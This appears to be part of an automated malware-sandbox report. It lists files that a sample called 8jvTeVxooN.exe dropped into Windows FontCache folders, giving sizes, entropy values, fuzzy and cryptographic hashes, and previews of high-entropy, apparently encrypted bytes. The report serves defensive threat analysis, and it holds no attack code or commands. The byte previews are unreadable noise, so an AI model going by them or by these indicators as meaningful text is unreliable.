.-.g>........G1.5..-".W.al...~.X.+</...GA8..s....-.....-...$....r.....A..}.j.....z...MjH.p.R)n.C.#...w..y.0..w(.$.x.AJ...+...VI .y..........;.........u}..T...8J....Vy'...S0..z.x.6..}...$.....k...^_.r.Y....Da.@Rg.....`h..[....v.A.y%Q.p..R.d.L.........)..IA.~\|T......,.4D*&dLB<2hk.v(...07..$..gn.u.q...M.]Zc.....3.FgP....2...A... .,+...J..f..4.....d.~..O~.\.P..

C:\Users\user\AppData\Local\Microsoft\FontCache\3\ListAll.Json

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.977972620921035
Encrypted:	false
SSDEEP:	3072:3+m0E/6yoDide7GcLtAhGbka3W90Wx0tIO3Bj+75eph0:3+pEzoDQcLiGbkGW9fCtICBO5KG
MD5:	5A24D36A8715BB2DE82EAF1B8ACE2A55
SHA1:	571522F7FB258D6CF2A526486C1531189EE2C638
SHA-256:	F13E03A8C2C87E7FA264CE9AD1D0A160F05BC4C6F93B35D52BB8BA21B51AFD8B
SHA-512:	E9EC843843E4320F636CABD2EDB3AFE417553A7F1CD1DC45A773E15D9C09D718C1EEF70BD1516C35C9D79BE2F9FF8B585313DDF9778CE0EE1E6EE2AAF8E04329
Malicious:	false
Preview:	{"Maj+.y...\|.iY.0....=.......x.w..7...7.1..4v...=y....5.dC.uv#..6}j.......Sq.U\|.z....X2.."...... ....cM.P..;..j+.f.....D\....U(5....=...T...Z.E.v-....@=....L.dSez.M.....Q7.%6..'.......K.NL...v....p.[m..PQ..V#7...R!.<...X...<.4.aJP....t.&Q.].._. :...+S.8.B_HV..:@...rj..({....H....T.gq..1..t.....i..a.?hp..=..H.dTo[..2@.}...>8A...L.%......F.b..R.Al...6.U...6:..#.6{VA(.Rr.$_..V...;.${s..Y.....S$@DE;y,.xnsp....V..._....aF.dn.D.W..`.....L..Xm..N.....;.t..".e.N..Z..Ni._.M..Bvg .......k....cVB.....mj;}Js.79..,....T>4.....j.......[.Ra...R..4.u9..),....6....}....%...<...2...Rze..=..o.LaJC..y.=GJG.?D....;.U.`L...#d\|.V5<....#c....M...`.T.:r.mf"..T..4..*>...y0.....6O.~P....V>=...A.8..t.......e...zW.....e...I.]......BB......b9.u.... ].$r...+....q...+..5...hv7...C\|N....%M(.<%.....Z H..s:.V;.\.b<\|..L.{lr.d.n..}^[@... ...LBY.g...$w.&O.p.BH...0...>....n3.0>...\|.X..P.U.r9......n.\c\...B......ka.S...._.75.-E.Q\|.o....@.13%\|....,....2m.N.n..o....../Q...H.%.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.908590329453946
Encrypted:	false
SSDEEP:	48:sTTiAo8p0kT90FY1k6BlS826XiUbyOT6bqDosO6F6D:GTpo7kT90GFY826yUbyOObq8J7
MD5:	8CCC52000FE2DFF40D85D4EF843CF5D9
SHA1:	81A4A548F7ABF532B7166F625E74CF4544A28FFB
SHA-256:	C4436CC13BD7D1EA9233AF2302631FCD355AFBD668F93477D312297D0AACA53D
SHA-512:	EDD7B8D7DC1B97414246AA2D5093B13ABA643474B96C87215F8F9A38038046868A3D575E2D29F4A906F4976A37FDFA8F6B0979624F5A5FD6EE3D066D93BAC29B
Malicious:	false
Preview:	<?xml.!.o.%V...........z_.-..".}.8...k...)...2!.P....M.\|/..k..bH'{i.W..p...i$\..Xx....FMB....J...7=,TL......[..+j5......sj........e.spm...S5.-.."....V..KU...{.+...G.5.F.%..\.b& .....~.t.BnB.A..w.h1...o..../.=J...n...o.0,.Q..n.._...f!.w..&v..<nD..W..4O.dvJ.".KM..ZBM.83....c.^$.....`...h..~.)...\x..#......HCI....(f.0.,...ea&...fw.........)......g.~..eI.!c...%'.e./..O......X.....QPc...A.%a~..T.6..(..K..c..5...x....&....f.@.<y..4...x.. ...V...f.gg....y..9.W..7.....+.Xk..NNy..i........Y..&..D........1+:KW6..L...."...W.=.;.a.P..U........5g..r.....m5z$..'...;.".\~........]..$!. 1...!p.-..L...J.. .Z....f..`..[/.5..5.../}..g..H..31.yve..6..H..%.....*p.../.Z..D>..'3..?.}......N..'o....,..k...]-.B.....],.B"-..r.....". ...P.S.j.K.)F...)8....sDW.:..z.b..P....&...S....G......_.L3."A..;...Bu.^.Pf.>.L].J.8._?...#{kZ...3.{U.1....j....q%.Pc........l..".rt.^.......U...h...".80X...>...BD..D>..Z}.)l.u..d=,0.$V._....QO.....7.;.bG.X...I.WuK...,.c...BA[..e./)>X.."/1(v

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	238254
Entropy (8bit):	7.233876999667517
Encrypted:	false
SSDEEP:	6144:qBup7RuM8BIhIMLzswijBY1o6LZAaa/dIDiA/:qqaBIhIFnjBJ9IDL/
MD5:	5AF1528408A703DCEE441A7EA9CCD2E1
SHA1:	916D979434AB4CC6581D1AC33418876E2281D650
SHA-256:	0169B31C883B0E4D6CE466ECEB9DFA734BAFB168A8C197E2C736904D4545B0E3
SHA-512:	5D9E66AD5B5DB8752F0EBC8AB6174FE9A244628DBA40910A3F1931E6DE0CC7ACB00F071D5B832B654CD031EF6F9D782BDFDD12955B42B39F574E378C8F77A78E
Malicious:	false
Preview:	.....F!5.s..~.n..M.........#.ouT......C....%.:.+].#....QD......0.;.kw.....G.zME#..l.hA}Y...Q4=xf.q...1...S'...}.d7..@.FH(=.....C...T.@AA.v_..0.I.c..92hmD.e..f......E.G.$..r...f(Se6...{A..4....:A.[E.4..:.4....-O...+...:..&....T.N.}.-..&..r.E.._.8...Gz.%.+u..-.BNZ3.a.6."..a...f..l.N..h....N.Z4..z.?../kE..Q..-.g.....e....a.6.n..A.?]>....C..z.Z........................}Z.\|.L.3gV:....3.c."...v<......\3yk..V.>..!.P....?.G........VN.h..#..\3JS.\|...>.Eo....oI.?.A.ZWM.....=l..')L..-....[.w.....Sz.Yi[........#...ez).rm......hB......v....OWD.KRE.MW]...)d@?v.+.....k...)..v....C.B.....K_N........$../V...4,.3...3..X^.{.+R...qo..2!\|...G.G.e..Q$....=.gn..bv.es...w.4;.u....}.A...b.5...wzx..G.z.......4........_8?...85...I(.=8..:._...T.,.T.-.!.G..c....f..?_U.)#..wIb%..O.....AY^A.5.n..}.q\....I..e...nlN.G./n)yz....5."u8,C}uIS...D.u.J.v.9..r..R.._R4..X...X..y.a...o.A...,i./\.gA0.]G-h.......a.8.......*gO..x....M..pv.;.P...bSE..@9.G..4.7}x.x..ky.GXT.....v

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	240882
Entropy (8bit):	7.264123527081409
Encrypted:	false
SSDEEP:	6144:g+up/qtstziViqWurBsEi/oY7Wwv3YusEpd:g+w/1Igqv52zX
MD5:	F5FDB566DA3C36C857CAF65C38FF53FA
SHA1:	A6D23E0C738F914FE3A635F4B5867237CF616CA6
SHA-256:	D09D2B307F98E041F43D8E7F76661CEA5BD2380F0226294C8732D39C57A1AE48
SHA-512:	31DAB24E0BE4BA421CC29CCA1EEA9881ECB3001F56F016FA51330C3E51906B1922436251A6C0045FDF341E08D4E459A288B93E46714FF84E177084FE092C0F02
Malicious:	false
Preview:	.......]......U.G..$~u...F..}yk/../uM.I...E.Xyx...M\|.......`...\.(j....^.[...j...%....m.......tt1..Z..a.$.......u.<.Hh..\:b.?.u..0....z..6.@......iT..._....{....j.?h.#Q...td.........er....Gr.Fa.7..^..q.F\.......I.R.J~Y.m..6.6.r.).Q.k..,...e7O.....~..m..~.JB.N...I..2%Q.."....e...W8.K<;.~....G...7..v.}..gU\.bJc`&<...^.o...Z)..%.l=us<.vv...,bT".Z...../"..p....C...Jg....4..."..."7..6R8..h.w......U.fx.bHQ9..~.8..6../...\|.D...x.(..}..Y....6R.....f.m....l0./.V.j..s..\....05.!...7..,c.b.E.\...&.x....t.+AEo.Vl.Y...B}.;.N.fI-...G.]5.^...kf...W.....W.7.......4...C...f.V....i}...'.^5...5...Q(.'..8.@(..A6?b..i...N.P.......eG>j..".tY2.....o..Gro&.M...w...#.%n.$.....j%......&y.k...V4UJT.yn.@.m[.........A....n...]x?F...s.gu..c^#.$..b.....!.....b.'.0Q.~.eP...n[...).&..*_0...i&2.^..........N.;.o..H..UZv...xg...]....2..t..P5..T.".V..T:r;P.).....4R....m......T..C....Q..p.E.Vs .G...~.U..s0k}..a.......O]T.Y. 6...G...G~....1#.A8...`.uP..5.....v.M.H..6

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	241750
Entropy (8bit):	7.25927341899783
Encrypted:	false
SSDEEP:	6144:N90rVDCVXjFn2A+VpdxUt129q3yziDz8b/sWSvq2F:XX4HrdxUX3N8Uz
MD5:	F90AC2E2574D3A27DC02DD9CE43E3EBF
SHA1:	D1CC677E8A5D0F2288A883BC3C971329CFF4F9AA
SHA-256:	A69666EBA4FE4395ECAFF9F68949206784B852B5DC15CEBDB103A99B73A1712F
SHA-512:	1D568E64EB8354A475955766A795D392FAAB536C0175B336721CC1345E57B4F2D4838D88E87E1AF608553BC52CD38424551FCA7261E4BE39EF1B672E968712AE
Malicious:	false
Preview:	......N..G.-......j....;.....S.A:+4e..:]....A.......~..=D%...M.......u!zyK%Rb.>.....g3K.... ^.1.X......F...l.........~A7.".;9i...E..h.}.v...w.....d.=M.<~...P..C...1.+.G....\\@e....`.qx.B..8W........k...Kf........i..<....:2SU.U'.....^.LF.......=..E....-..V2.d..U.^?r(..,U.l..qB<..X'..j.y....,.wi............P......o.B.g^.F=.........x.....yi.A....j..H..56.v.1......-\+..9%...x.>..Co....%..p..m"..\|E....)&.....(8...]..e...J...&...[...y.X.....D.pl\|.......C.^..3...J.7.Q..BJ.....i.c.'...)......T.FW.-..].. .G...9.3Ne.gN.g....o..l../.!.....=Z..3..5.t9..mb..3..U..JI!....Y...!..>.U.......@..x.o`..-]........ve)..e.s.S...G...5.nJlt....R..H.inb2..,Wb.G#L."...`..T...~Y:.$LJjdm...`.......h.C...>.0.s..O.....h..r.D.D..~..e./LY:.9.V..g64.v?.......`.....M.w.j...\.T...~..J..C.cEj.w8h...g.MT1..$.:s./..6..{.x.(6Q.-..S.l../p.,..s....*.wm......8Q.7+......P\|...Q.......e.....{.Imb.m,}....m.G..Q.....W....`..X,v9...eCI5..J.-..}..}..0...(.Q...,{..&-.X.U,jN..e.:rsCi

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	238962
Entropy (8bit):	7.231956998295721
Encrypted:	false
SSDEEP:	6144:5vYZCxFvnM8Q8LIjChEUk8B+r+2APxBvdb/tDpAd:qAxFnQ8L4NUktCrrdpqd
MD5:	5D30CD91840BF8C1F9D13AD120B7DAC1
SHA1:	926BEEC9F4CD26F8D4D4B1446BDC1586B1FD61E9
SHA-256:	6CE8676784546A872A089F6BCA1CAD907C8FDA0E4892D525134DBC21CD0F5D8D
SHA-512:	32FB61631968892D74541DBD121D1A5A366550ACDC8170D7ADAB50720540BEF24434F72C958AD91B8C275077D9345257FAE0D738A7037CAFB27AE51F52814B14
Malicious:	false
Preview:	......@A.?V..X..v_Bk.n.....W..K...?.....<...s(1..O......H.v..\.P.t$..@W..;...a.....e.3.,~...F...}......-;7.W...K.E....0...A..5.HV1.....QM.Ns. (..}.....h...e5O.5...\..s!.\..@1.s.\....L4C.../....M.(V.OFv<.D...)t.......1.v~...^:...ud....F...2!X~....s\.Oe7.g .Z.O..a.Y.U<i...i.'.H.......NX.&xC%..:..>.!^L...z.._.cd.1.........d.q...H18.lB.2.....A...lU8....O.2oQ.=...Z...l....=`..n.M.[.w...........@...K.C.P...A..i.`...^.._.d.(....d.5..,A.w...].......@.......Z.V.....K.u..QZz.E.&..X.l...4..`.4......,.....Y.....3....^S%"s...'}D..!.M.L..d..]....p...[..W..x...e......e..........'...Xx....o.{..MC{)#./....C....z.$c.....!..=..Q...+N.F..*T..j.f..F.zfG.m..~.........C%l.?..+.............~N..wl...i....t.......p...Z....T...Ax...3.".....\...{^..m.?.....)...34....Vz..w...P;..2Y"..-E.EMp..".rh....~...9E...&.....h..+...............b.d....uRn..L.l.a...>....<I.H..wf....P...3.y_.3..<K...x.. CQI....G(..eG.V......YcQ........(....{...cbW.GI....v...5.-l..f...w4....W.n.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	237902
Entropy (8bit):	7.240677268135973
Encrypted:	false
SSDEEP:	6144:L3nstx4LInqHW+cMAghIByr7o7wsdDCzsuV4icc:oXEI68Mv+dDCznV4jc
MD5:	E39D17A98495E3BFE90239AE99E57252
SHA1:	628D6674B94C12F93AD9DC28713ACE02057F539E
SHA-256:	C36B2D5A590226A268E434B9E7603B518B21E7D87CB258E2856708BA763032C8
SHA-512:	21C5923AAAE68FC7B5701039B13B69CE12960E84D9CECADE888F3CDF6E5F411A364C5347754265588790FB7B91B94E380B82546BD380B898833C9E0286756493
Malicious:	false
Preview:	.....V.Z.....$.h..r`S..T...f..e.&E.<.....J..m...a+.p..... =...b...^.U..m..@.K..(..N.6..9.C....]-].<..!.....3[.......X....M..P....."......mdiz_..p..f.i..Ru.k......E33c.J.GfHcq".:,4 ........5e..s....NbS4..`.B.........g..N.iC..1..T...n.%\....^b..x...I.-;.........y.'..:l...u...e...q.wX~Y......^....vV.....[..M....h...\..=.:.........6.9..~...[.:V.\...'5^..#.....mKOWj.......V....)..t$....(b2..!.4ZP.....O.b......s$...,..#-...=..$..xx...S.^g.^......2;...0S.[$.U~{.n...)..........0.j....#....Rg#QP-4.9c3.MH.. ....W../.d...).[.?..j..2.+.kL...f.t..>I..9.g....]...}Ne.!9b.i..C.(..]..b.m..=..`..T+J..%.?.......WN.iL..2......@.F.n..Z...A.}2G<H<.../.b.P....V..%...'y.4...5q..........l.fDL...h&.%Xb.u@H.i.F.....pA,.p.0..7.W@....%..._.....w.@..^.._..f.....#.6...1.}:!.......*"..v..s.......a....X.W........\|......&.g...R....E..R....^....)D........v..s...;rA'e(.1....aIv;.`~.@..)..^......}..H..OB"..s...g ..\../..tsL,(..].:....Jj..Y..`Odk.9.....A..KB.e.{

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	241378
Entropy (8bit):	7.260119261958026
Encrypted:	false
SSDEEP:	6144:vzokAlj8s7zcgwcioYuVOWxQIasMOphDtPcwBQ:vzuXcp1jxBgJtPcp
MD5:	1315DCE3D3CDA6650B874E4F1BC6D552
SHA1:	9B3C2E90ED8D8B440C45D1569BE053561D9F5DBA
SHA-256:	2188E8492C1468519071AC9F8CB02AB6B6C9E38E9C18FC4129F4F2FFCC7B112D
SHA-512:	E41DE2E4D1DD4AAD752D8B435D4A9212ADC206B06C9B41805ABD7AE72FC04322A9A85E18547E77F10193F3E6B2DF53515E64C896B1702D3FDBD6EC484E404AE2
Malicious:	false
Preview:	.........z..D..F..N.............de).7VX.UW......AMv...T...(\.W..F.0..X..\.~,.4...X..S...gss`.E.......R.Z7...2Df.6.W....r;.i..;d$..b...P.x<.bd!..[i.....:.5..G...6]5.,B6......tz.'_....ep..L...^./...x.#.....+...k.<'..1....xP..f.eo.. .1_.h..F..........1Br.v...p.`R...Z..!..3.2U.&.?0.'....Gj..".....S..=7.......1$..!^....`2...."B%.z.9.{..1.x...$...`.\$..td.m...;.....`S1...O...;QJ^.~O..$..5q...d....C.~...bM.B.SR...a.~..d..es#....VG.D..u8...,.E. .UES...0'...5..}..6k.c5eB...:...y.qM...p.0...@.k)....UgF.O}Sd.WC..g.?.$...-.&]S.N"..M...$;.....Nz' z....q.$..............Z...b...0.ya..Q..3J...aYa.9....'.....oM].[I..g.<..!....@7.....4rOef.........".K..X.B.YP....C..n.A`.k...]G....1.9.7...C....qy3....p..G.V.-.)....o;....h<D.0.'...e`j..r:.7y.6.....w..._../.]~.A.0.........usf..G..@.t.K..%%..3MN.?.....m4.E....?...s.{.6.....M.&....O...]T.=2..ui.z8y%.A%K+\|........9..mt.~Wru.c...$..".s.p..A.L..k..,..5./'1.wx.......(i..{vh..C0.>...C..r....r.......DE1:r

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	237738
Entropy (8bit):	7.2383896300962745
Encrypted:	false
SSDEEP:	3072:E0d58SxFP5dS21CyX7JlHFEKXOi8MfLouVPYzuOEY7M4RZMJKemKy1EAsP0Ujcl:EMddiu6KXb8MsiYzuXMRWZmdqjcl
MD5:	5025644DAAF3E58ED7BC187704059E3A
SHA1:	D539D42E72469846945456D5CBB0EF5CFBCAA748
SHA-256:	EB3CF3EA1BE863E68B62125B9495BAF19B2897B0F97024627ED14E6D80C58054
SHA-512:	45293F74917AC62A3ADAA19AB04C869F1A9D275850D8D8E3541A25CDA805FA990DDAF45D717A5DBFFA1E26B4409EFB8BCD818AD820627981C3FCE724768E76E9
Malicious:	false
Preview:	.......H.VG@...cM{r.od..91..[9..........i&..FaGn...#I.3....h.X.U!~.P;.K?..2..Tgg..Y...v.J..]............6t1a.....s.b.~w."Sg.k......Y../... '...x....M;.^j.....9.B..........g1....b}>.iE.....an.Z~...5F.C.y..i..p.?..v..l...Q!....r........s>.P$Sq..1.&g^.....L.F.. ..[...xh.....$.<P..VRE..MI.....@..L....}.W6....L.D..L.J...(....S....e.O..n...3....."/....T....G...cI..uv.."...+.o.e..a..PF..O!8..Nv...Zvf....Q.5x!..524.. ...(....R....].`..j...;...P..R.t..5./,..P..&R.X.9h......}d.. .hv.G...,h...>..7........'l1.n..\|.F.."g!.}5..4.A..g.zf...Qf...~.:E.3..R.@...8..i......A.ge....9..o.~..\g.a.L.\|k...9*.I2...n.0.{N.l.C.m5.;..I....tkU,z..wf.+.....O.o;.Sv...G.z;..j;..)......M.....j........9....gy../`...g}.S.Lr-T..wu(..?j- TZ...Ie5.5,A...6...g..{...4..T.q]..l...tR...":..G..EY......x..Tn.....65..:io........Yj\w..,.E^..D....wb^A.A......@.Z3gUv....w.!.,.\|.L.>...].=zB%E...t+..'&....Xz...X....{.."h7.yi}.vdT..8.qL.@.3j..c..0o......$;Q.v.z(R.e........b.......".=".

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	240706
Entropy (8bit):	7.264518170781331
Encrypted:	false
SSDEEP:	6144:eQKZCdm2ISQihzO24JXMrA8Nrak1GV69K6Q6yqU/qqI:edCLIS5zD8XePrak1m6ByR9I
MD5:	276E2A364EC2994F55B76E0ABC2D1877
SHA1:	18C1B712884259F99A19AE21CB05B51420AEA621
SHA-256:	DC5FA436ACB2E57167717ADE1AB8F8B7B7F0BF0C75E84AB0C04E9FDD8DF4467D
SHA-512:	3BCDD9F1FB040F736CD127709F7BDAF93D3A5235F8922C698D4BC71F70DB74D0F8A6C618607EA83CD27B284350A4E389641EAD823D537398E6E49F09148200EF
Malicious:	false
Preview:	.....U......M^..z......M..$I...W...d......6.h.WI..e!(o..W..%.F..)D....!.[.r..!-fTHL.....Q.....Qv.~.c...g..Xk...(.x.F0H.\|g.].PN.?...W.......Nt.6.\|.A...u$.a...b...S.<...9...."...Ju('.....5..Lf6.....Bx...)}.nqL.\|.+.=....J=....,.....u...n.2.R.c<.E......WH....l0B9..../1...QZ\|:/.#...4...}.J.)..T..#.!..o...W..xg-..J...!S.uB..?.z.M.n.m.._..b.....r...G5...)...7..Uv=..f..af.p..n...G.........Y...v.$.[m....m...(Bp..x.S.m$c.....:.O.q.l..Y$.b....Pl..[....w.J..8.T....?..F.. "h{......V.s..=.......]\.......6._1.w.r.......,6~...=c...1n..!=......h..0I..0..d1'.p..S...L.Q.-. .+\|.y.F.s.c...M.."..rV]J-+3......-...N!^.MMR..`/..?=...I.}.........5.....q..H....p.....)..(R.@..P_.F...^......+j.r...iz...A........M.p-.=.T....Z..r.[...1D...<...Amke.5B..51.M...O.~1l.Aq..Y..DC....[{.."..,.X....._O...=]@.]D..a.....v.....&...}V..PW.Ps....)aul..........s/S..+KmFK...Hv.$...?IA.3.`Y...@...........{.<;LV..R...c>..........dQ.uxn..._N....D.'_.6^..;.W.4.......%.mK.=.(....(?.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\27160079615.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	238518
Entropy (8bit):	7.23535993187263
Encrypted:	false
SSDEEP:	6144:b/MvSt4pZ2HCA//HUDssOxE9lYD07xiQxvdb/LIAV:LMC1nHUDsRW9l5xbd3VV
MD5:	D70B19AAEAF89EBBE6427170B63D4DE3
SHA1:	BD62BEED8233C5DC8B0AD98221BAAF83D5C0ADFD
SHA-256:	D8A80E7312F9C9B84F91E14B3412379FB434DD96A4D93780A14E55901FD3D3B2
SHA-512:	1E95304D34DBBFBACCC0802A44DC38E2A4FB14AE8F3B2BEE3D3F51A870B92B4F3BA0ADE850DAFF59504A29F79F87E954BD1C7CE5BD3720C6726C8F29560EDFFF
Malicious:	false
Preview:	......#:...n..'.l-.8\|..o...q.8.......<r.)Q..R.=..\....W.0.R..]+i......._..o...Q..N..b.PEP..0..i......&......./@...V...?......V.l@....RF...x1.\.\|...]..,.c.....G..d5b)...q...F.c..b.j.w..G(I..R.7..A...{.f.\|....]p..o..u^5.b]1..$Bd.e.1.j.t.m..R.Z...).Z.b....f.V^..m"....>'.. \b...KU.p[z.....MMIUZ#. ....j.....B..P...o....lC............%.....l...=v..G.. U........n..q...........{...,y......jK........J.=..Lw......r6&.s......8.u.pJ"...)y..l..I.....n..R...!.\o{..4'e,k)...c3..h...E.mH..4.....s......2\|....\|L.......Y....F....Q%.I"+.N...$.`..f.... .X.M.J\|.!.b.kY.n...N...j.Ov]il......H.X.6.e{\|.YL.,l..~Q...re.......u...7.E.z?r.(.r9e6...g...x..l.....I.}.(.J8..hY@B.8..U..h..:.K...*....V/Q..x..eq.K...N.?ll..#a.z..&[..`.L..........K..Y.,V.f>....[..)..<.;..3...y..I.M....s.k..v.7rx;Z.L...B.e.Wj.v.._.m.}bo....5....r.Z.:a...}H.F:.A.O@T]..N..X..N..H...D....rO2~.D..//.Hf.J......z?r}/.:k..dgs$..I...GUA`M9I..}3.....b?...2.".T6...E....Or.u6....#.P...p.5.4...

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\28315153308.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	241282
Entropy (8bit):	7.260386094314255
Encrypted:	false
SSDEEP:	6144:IhGEcf9ZqW65IPQ7QrO4cbtEmsme+Vi0N:McfnqWfWWwu7sR
MD5:	1CC705FA0AEA2721051863707AE53F6A
SHA1:	1A6F6E5BD724BF725BAB6EBEE4D11545D71056BC
SHA-256:	67C16E462359E7FAA522B655829494C72324A75942F9842B944D58EA5B86764A
SHA-512:	D44CF4CF99C876C05D2FEB155E8DBD3855E033F8B7C20169F9239CC6D0945B3632C089C9E5FCCD76CC1362C5992E3FEAC56D23DDF5B7BB9FB4408EF8CF83CE7F
Malicious:	false
Preview:	.....%__..uL....4,.;..Fr.$\|.7Hf;X.8..[....\.....k.g...a.p[in..Z4.b...a9a..j..d....`..d0u.&...Q......ZT......E...S.8..X2.=..W..b....N..D...e"\|../....F."..._......ZU....t.MJ0@..s..E.A..&..G.......\|UF.\.jjtu}....f..e\.......UH-/.zH.}..0.,..7.F..v....iU...3.....\a.4.A.{...J....../.6z.7G"..]_....5........,geL..&...M...E......B.>=vPJh...TdP...".$.`.jX.3L.^.F=.y.%.....-.KI.Z`.....QV.N...QUt2..1R.0~.......Rf<..4...-.&.R.5. L.....Vx...N.!.6c..e.Y.Nm8...8.z.....zZ9>.`..0j}...Fq.?>. L..........}..:u...`....f..5.j....w...&G.g.a...fv.w.......M/.Y.......]:..J.;.XhF...V..r.KA...Z..#.......{.`.....#...k]!qf.r.....r?P.R...$.C..B..v...P.(a....."..._.OFM.5^....o...<.R.H.XS...xQ/g.~;.h-..a.....#U.2..tBx.g:.:..._.0%){..B.t.7K`VB...K....v.$....a.....n.Dw..Q(...-2`....'.v[~.K....6^.7....T.x...$....Uas..F....n......K>y9lCL.).k_F.;1...W.....`.T..37....a....O.......\..B...I..a..Y.G.u.2s.f.90..KA....nqL..T..yaU.....T..6....2...>q..#.=.CQ.D...,6G........<.>.-0>F.V.x...

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\29939506207.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	237946
Entropy (8bit):	7.234855213833449
Encrypted:	false
SSDEEP:	6144:GrHyS+jC3kISA8R6lwn4a0cBW35s+XjvqIQOa/dKF2An:sx+ckLZ8lwnPx85XTq3KVn
MD5:	DAA8D0166EFBDB53637250D7993BFCAA
SHA1:	18BB96182B9CECA456240399ED01F444CA3A5B60
SHA-256:	261733B39521D92AD1BE46518401D92A6688043FE578F97D8A6F1926AB0331C7
SHA-512:	87D7A0E4CA526C7A0E1F5E88B50BF0D17746FBD3D5CBA5CDB75ECA5705DE2DE760793481020594DFD2F6899A5FF351E375642F35EDCD1707C20713B5D076C128
Malicious:	false
Preview:	.....s.....T..."...Q...(.\|.!}.G....04{.><......t.Z6?M.+.....J...NI..........q...(...q.Z.8...RB...bx...t.\|.K.m.P.....b;K.#k.p[.7r..Yq.....s....c....<tV.dv...*.u.h.......w_.E...7n.......".8...&..-.eU...i...5kA.....V.!..'.N..BC..e.......pMiW.vTg.....?....).~..a...x.~.g.0.&....O..\|\|.....b..).^.Q...nQh...G.<..=.1..4b..Y7t.#z.....A.f.tR.l\C&.7...6.L..o..>f.?.P.j" .r..8..B.A.!....;qv..7.../o.....-aL..~P.g....6....z.bP.=....H...j......6.......;L..2.B.....7..N...1.5U....!z..\|..6...A.hp.(.do.'0...m..a...G..l................i_....Me.8.......o......8....{^.F).K......}............\.-..Y...P.G...L....r!..^...B...3.I..7.N..7R..nO2..t..dU=--2+......E.s.......U...\|.....2 ..e......6.!~...;.3.......Z.]....p.z.I.F.....B..!.x.4<...........kY........S....#..GD...T.%.I(.Fn....h.83._..b.dg.cr~I;OD.8X\|Rv.....p..bZR'.\P.M...N......X...!y..$'s.r...9F&R.Jq...A...<...$.gQ....D..W.. 2.5/.....^.....x...........a...gL...a.J.C..&.p>hylG.u...../...n..uX(.\.8

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\31169036496.ttf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	240470
Entropy (8bit):	7.264479886586172
Encrypted:	false
SSDEEP:	6144:dXDyuwi1OZvc8kt+SdZQidek+Sdr5LO/Qw1DB5y:lDvCU/tbrB+yr5LQ/m
MD5:	F0D91407DE6674749A2D9C851D70AB22
SHA1:	04BAAA63090BD023912459D9FA2FCD7879C2F331
SHA-256:	A07E2DB7CE391B0CFEDF9B638AA33D6A6581C5A641AB6BDA8C2D7F648A68BFA7
SHA-512:	635CD32A23C3A638C426B7B93EF0477309CD381AC6B24E1D044DCD8C7F4EBCBD9765F96FA10C7A762D32C6FBBA2347EEC731892FFA79DB648B1747D78B972C31
Malicious:	false
Preview:	.....F.v........d...c...tzt..N./...z...)a....y ..].P..:..9e.M.t..k.#..}8.4....J....U..yIA{(.../.g]....N..v~...<...a.H....U'\|.ja..7..A....\|Ko5.L...AO...%........v...$.]g.k9........k...z.,.qAQW.....#.=.......C-..._..... eT.zb..I......h.F..&..u.9.v....E.......0.....R.. 4..{.Z~.s!...If.p...,1kJ.hV.D.s=h..s.wb;.i.&J&!...G...d{.G.D.....u=zb.VZ..R.)\|.rk..:...[.W...5c.q.sf...B.:.L...M.?.0.I....{.....e..f..f..o...Y.}...K.7...3.h~5~."..{ab\|[hY^D3\... 